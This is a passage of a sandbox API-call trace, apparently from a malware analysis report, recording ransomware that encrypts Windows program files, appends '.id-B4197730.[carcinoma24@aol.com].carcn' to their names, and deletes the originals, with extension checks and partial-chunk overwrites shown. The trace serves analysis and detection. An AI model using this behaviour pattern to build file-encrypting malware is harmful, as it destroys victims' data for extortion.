dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.321] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=46) returned 1 [0178.321] CloseHandle (hObject=0x318) returned 1 [0178.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0178.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.322] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.322] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.324] GetLastError () returned 0x0 [0178.324] ReadFile (in: hFile=0x318, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x2e, lpOverlapped=0x0) returned 1 [0178.325] WriteFile (in: hFile=0x300, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x30, lpOverlapped=0x0) returned 1 [0178.325] ReadFile (in: hFile=0x318, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0178.325] WriteFile (in: hFile=0x300, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe8, lpOverlapped=0x0) returned 1 [0178.326] SetEndOfFile (hFile=0x300) returned 1 [0178.327] CloseHandle (hObject=0x300) returned 1 [0178.328] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.328] SetEndOfFile (hFile=0x318) returned 1 [0178.328] CloseHandle (hObject=0x318) returned 1 [0178.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.329] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0178.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.329] lstrlenW (lpString=".doc") returned 4 [0178.329] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.329] lstrlenW (lpString=".docx") returned 5 [0178.329] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0178.329] lstrlenW (lpString=".pdf") returned 4 [0178.329] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.329] lstrlenW (lpString=".xls") returned 4 [0178.329] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.329] lstrlenW (lpString=".xlsx") returned 5 [0178.329] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0178.329] lstrlenW (lpString=".ppt") returned 4 [0178.329] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.329] lstrlenW (lpString=".zip") returned 4 [0178.330] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.330] lstrlenW (lpString=".rar") returned 4 [0178.330] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString=".bz2") returned 4 [0178.330] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString=".7z") returned 3 [0178.330] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.330] lstrlenW (lpString=".dbf") returned 4 [0178.330] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.330] lstrlenW (lpString=".1cd") returned 4 [0178.330] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.330] lstrlenW (lpString=".jpg") returned 4 [0178.330] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.330] lstrlenW (lpString=".doc") returned 4 [0178.330] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString=".docx") returned 5 [0178.330] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0178.330] lstrlenW (lpString=".pdf") returned 4 [0178.330] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString=".xls") returned 4 [0178.330] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.330] lstrlenW (lpString=".xlsx") returned 5 [0178.330] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0178.330] lstrlenW (lpString=".ppt") returned 4 [0178.330] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.330] lstrlenW (lpString=".zip") returned 4 [0178.330] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.330] lstrlenW (lpString=".rar") returned 4 [0178.330] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.331] lstrlenW (lpString=".bz2") returned 4 [0178.331] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.331] lstrlenW (lpString=".7z") returned 3 [0178.331] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.331] lstrlenW (lpString=".dbf") returned 4 [0178.331] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.331] lstrlenW (lpString=".1cd") returned 4 [0178.331] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0178.331] lstrlenW (lpString=".jpg") returned 4 [0178.331] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.331] lstrcmpiW (lpString1=".txt", lpString2=".carcn") returned 1 [0178.331] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0178.331] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.331] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=145180) returned 1 [0178.331] CloseHandle (hObject=0x318) returned 1 [0178.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0178.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.332] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.332] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.332] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.332] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.332] GetLastError () returned 0x0 [0178.332] ReadFile (in: hFile=0x318, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x2371c, lpOverlapped=0x0) returned 1 [0178.354] WriteFile (in: hFile=0x300, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x23720, lpOverlapped=0x0) returned 1 [0178.357] ReadFile (in: hFile=0x318, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0178.357] WriteFile (in: hFile=0x300, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x10a, lpOverlapped=0x0) returned 1 [0178.357] SetEndOfFile (hFile=0x300) returned 1 [0178.357] CloseHandle (hObject=0x300) returned 1 [0178.360] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.360] SetEndOfFile (hFile=0x318) returned 1 [0178.361] CloseHandle (hObject=0x318) returned 1 [0178.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.362] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0178.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.362] lstrlenW (lpString=".doc") returned 4 [0178.362] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.362] lstrlenW (lpString=".docx") returned 5 [0178.362] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0178.362] lstrlenW (lpString=".pdf") returned 4 [0178.362] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.362] lstrlenW (lpString=".xls") returned 4 [0178.362] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.362] lstrlenW (lpString=".xlsx") returned 5 [0178.362] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0178.362] lstrlenW (lpString=".ppt") returned 4 [0178.362] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.362] lstrlenW (lpString=".zip") returned 4 [0178.362] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.363] lstrlenW (lpString=".rar") returned 4 [0178.363] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString=".bz2") returned 4 [0178.363] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString=".7z") returned 3 [0178.363] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.363] lstrlenW (lpString=".dbf") returned 4 [0178.363] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.363] lstrlenW (lpString=".1cd") returned 4 [0178.363] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.363] lstrlenW (lpString=".jpg") returned 4 [0178.363] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.363] lstrlenW (lpString=".doc") returned 4 [0178.363] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString=".docx") returned 5 [0178.363] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0178.363] lstrlenW (lpString=".pdf") returned 4 [0178.363] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString=".xls") returned 4 [0178.363] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.363] lstrlenW (lpString=".xlsx") returned 5 [0178.363] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0178.363] lstrlenW (lpString=".ppt") returned 4 [0178.363] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.363] lstrlenW (lpString=".zip") returned 4 [0178.363] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.363] lstrlenW (lpString=".rar") returned 4 [0178.363] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.363] lstrlenW (lpString=".bz2") returned 4 [0178.364] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.364] lstrlenW (lpString=".7z") returned 3 [0178.364] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.364] lstrlenW (lpString=".dbf") returned 4 [0178.364] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.364] lstrlenW (lpString=".1cd") returned 4 [0178.364] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0178.364] lstrlenW (lpString=".jpg") returned 4 [0178.364] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.364] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.364] lstrlenW (lpString="AppXManifest.xml") returned 16 [0178.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.364] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=5944055) returned 1 [0178.364] CloseHandle (hObject=0x318) returned 1 [0178.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0178.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0178.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.365] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0x0) returned 1 [0178.365] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0178.365] ReadFile (in: hFile=0x318, lpBuffer=0x3df4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3df4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0178.367] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0178.367] ReadFile (in: hFile=0x318, lpBuffer=0x3e34058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e34058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0178.372] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.372] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0178.372] ReadFile (in: hFile=0x318, lpBuffer=0x3e74058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e74058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0178.951] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.951] WriteFile (in: hFile=0x318, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x33afca8, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afca8*=0xc010c, lpOverlapped=0x0) returned 1 [0178.967] SetEndOfFile (hFile=0x318) returned 1 [0178.967] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43200b8 [0179.311] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1 [0179.560] WriteFile (in: hFile=0x318, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1 [0179.562] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1 [0179.562] WriteFile (in: hFile=0x318, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1 [0179.567] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1 [0179.567] WriteFile (in: hFile=0x318, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1 [0179.569] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0179.571] CloseHandle (hObject=0x318) returned 1 [0181.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.537] lstrlenW (lpString=".doc") returned 4 [0181.537] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString=".docx") returned 5 [0181.537] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0181.537] lstrlenW (lpString=".pdf") returned 4 [0181.537] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString=".xls") returned 4 [0181.537] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString=".xlsx") returned 5 [0181.537] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0181.537] lstrlenW (lpString=".ppt") returned 4 [0181.537] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.537] lstrlenW (lpString=".zip") returned 4 [0181.537] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.537] lstrlenW (lpString=".rar") returned 4 [0181.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString=".bz2") returned 4 [0181.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString=".7z") returned 3 [0181.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.537] lstrlenW (lpString=".dbf") returned 4 [0181.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.537] lstrlenW (lpString=".1cd") returned 4 [0181.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.537] lstrlenW (lpString=".jpg") returned 4 [0181.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.538] lstrlenW (lpString=".doc") returned 4 [0181.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString=".docx") returned 5 [0181.538] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0181.538] lstrlenW (lpString=".pdf") returned 4 [0181.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString=".xls") returned 4 [0181.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString=".xlsx") returned 5 [0181.538] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0181.538] lstrlenW (lpString=".ppt") returned 4 [0181.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.538] lstrlenW (lpString=".zip") returned 4 [0181.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.538] lstrlenW (lpString=".rar") returned 4 [0181.538] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString=".bz2") returned 4 [0181.538] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString=".7z") returned 3 [0181.538] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.538] lstrlenW (lpString=".dbf") returned 4 [0181.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.538] lstrlenW (lpString=".1cd") returned 4 [0181.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0181.538] lstrlenW (lpString=".jpg") returned 4 [0181.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.539] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.539] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0181.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.716] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1261) returned 1 [0181.716] CloseHandle (hObject=0x304) returned 1 [0181.716] 